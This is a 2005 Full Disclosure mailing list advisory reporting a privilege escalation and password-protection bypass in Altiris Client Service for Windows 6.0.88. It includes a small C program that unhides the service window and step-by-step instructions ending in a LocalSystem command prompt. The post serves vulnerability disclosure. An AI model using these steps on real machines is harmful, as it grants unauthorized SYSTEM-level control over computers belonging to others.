Full Disclosure mailing list archives
Privilege escalation and password protection bypass in Altiris Client Service for Windows (Version 6.0.88)
From: Reed Arvin <reedarvin () gmail com>
Date: Wed, 27 Apr 2005 10:34:57 -0700
Summary: Privilege escalation and password protection bypass in Altiris Client Service for Windows (Version 6.0.88) (http://www.altiris.com/) Details: It is possible to manipulate the administrative interface of the Altiris Client Service for Windows and escalate privileges to that of the LocalSystem account. When a password is set to protect the property pages of the Altiris Client Service for Windows it is possible to bypass this and disable the password protection feature. Vulnerable Versions: Altiris Client Service for Windows (Version 6.0.88) Patches/Workarounds: The vendor was notified of the issue. There was no response. Exploit: Compile and run the following code to unhide the Altiris Client Service window: ===Start Code=== #include <stdio.h> #include <windows.h> int main( void ) { HWND hWnd; char szWindowName[] = "Altiris Client Service"; printf( "Finding window %s\n", szWindowName ); hWnd = FindWindow( NULL, szWindowName ); if ( hWnd == NULL ) { printf( "ERROR! Could not find window %s\n", szWindowName ); exit( 1 ); } ShowWindow( hWnd, SW_SHOW ); return 0; } ===End Code=== 1. The Altiris Client Service window will appear. Click Properties. 2. Click the Security tab and uncheck the Password protect Admin properties box and uncheck the Hide client tray icon box. At this point you have affectively bypassed the AClient password protection. 3. Click OK. 4. Click Close. 5. The AClient tray icon will appear in the lower right of the screen. Right click and choose View Log File. 6. Notepad will appear (running under the context of the LocalSystem account). Click File, click Open. 7. Change Files of type: to All Files, navigate to the system32 directory and locate cmd.exe. Right click cmd.exe and choose Open. The result is a command prompt running under the context of the LocalSystem account. Discovered by Reed Arvin reedarvin[at]gmail[dot]com (http://reedarvin.thearvins.com) _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Privilege escalation and password protection bypass in Altiris Client Service for Windows (Version 6.0.88) Reed Arvin (Apr 27)